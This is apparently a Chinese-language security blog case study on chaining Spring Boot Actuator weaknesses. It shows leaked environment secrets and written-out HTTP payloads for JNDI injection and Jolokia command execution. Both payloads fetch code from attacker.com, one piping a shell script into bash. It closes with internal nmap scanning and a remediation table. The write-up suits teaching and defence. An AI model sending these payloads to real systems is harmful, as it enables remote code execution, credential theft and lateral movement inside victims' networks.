🧨 Spring Boot 框架漏洞挖掘案例:从 actuator 到内网横向
🕵️♂️ 一、目标环境探测
🎯 目标信息(简化)
- 系统:Spring Boot Web 应用(版本 2.3.1)
- 端口:8080(HTTP 服务)
- 技术栈:Spring Boot + Spring MVC + Actuator + Spring Data JPA
- 暴露端点:
/actuator
开放未鉴权
🔍 二、信息收集阶段
1. Actuator 端点探测
访问 /actuator
,返回以下结构:
{
"_links": {
"self": {"href": "http://target/actuator", "templated": false},
"env": {"href": "http://target/actuator/env", "templated": false},
"beans": {"href": "http://target/actuator/beans", "templated": false},
"loggers": {"href": "http://target/actuator/loggers", "templated": false},
"heapdump": {"href": "http://target/actuator/heapdump", "templated": false}
}
}
2. 环境变量获取
访问 /actuator/env
,成功获取配置信息:
{
"propertySources": [
{
"name": "systemEnvironment",
"properties": {
"DB_PASSWORD": {
"value": "SuperSecret123!"
},
"JAVA_OPTS": {
"value": "-Dspring.profiles.active=prod"
}
}
}
]
}
✅ 成功泄露数据库密码和运行环境。
💥 三、漏洞挖掘与利用
📌 目标:远程命令执行(RCE)
方式一:未授权 JNDI 注入(基于 Spring Boot + HikariCP)
POST /actuator/env
Content-Type: application/json
{
"name": "spring.datasource.hikari.data-source-class-name",
"value": "com.sun.rowset.JdbcRowSetImpl"
}
POST /actuator/env
Content-Type: application/json
{
"name": "spring.datasource.hikari.data-source-properties.dataSourceName",
"value": "ldap://attacker.com:1389/Exploit"
}
POST /actuator/refresh
方式二:利用 heapdump
获取内存数据 + token
使用 Eclipse Memory Analyzer
打开 .hprof
,搜索 Jwt
或 Password
,获取敏感信息。
方式三:暴露 Jolokia + MBean RCE
POST /actuator/jolokia/exec
Content-Type: application/json
{
"type":"exec",
"mbean":"java.lang:type=Runtime",
"operation":"exec",
"arguments":["bash", "-c", "curl http://attacker.com/shell.sh | bash"]
}
🛰️ 四、进一步横向 & 持久化
获取内网数据库权限
成功通过数据库登录获取 hash,解密后获得后台管理员登录信息。
内网扫描 + 横向移动
nmap -p 22,3306,8080 10.0.0.0/24
找到目标内网主机 10.0.0.12,重放 token 成功进入系统。
🧱 五、安全建议
风险点 | 修复建议 |
---|---|
/actuator 暴露未鉴权 | 设置权限控制,禁止公网访问 |
可配置 env 参数 | 禁止生产环境使用 /actuator/env 和 /refresh |
heapdump 泄露内存数据 | 禁用 /heapdump 或限制 IP 访问 |
Jolokia MBean 执行 | 禁用 jolokia 或配置白名单 MBean |
弱 JWT 签名密钥 | 使用复杂 key,并开启 token 有效期限制 |
相同 token 签名 | 避免微服务之间使用同一密钥,提升隔离性 |
✅ 总结
通过 Spring Boot Actuator 漏洞链,实现如下攻击路径:
信息收集 → Actuator 利用 → heapdump/RCE → 获取敏感信息 → 横向渗透 → 持久化控制
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容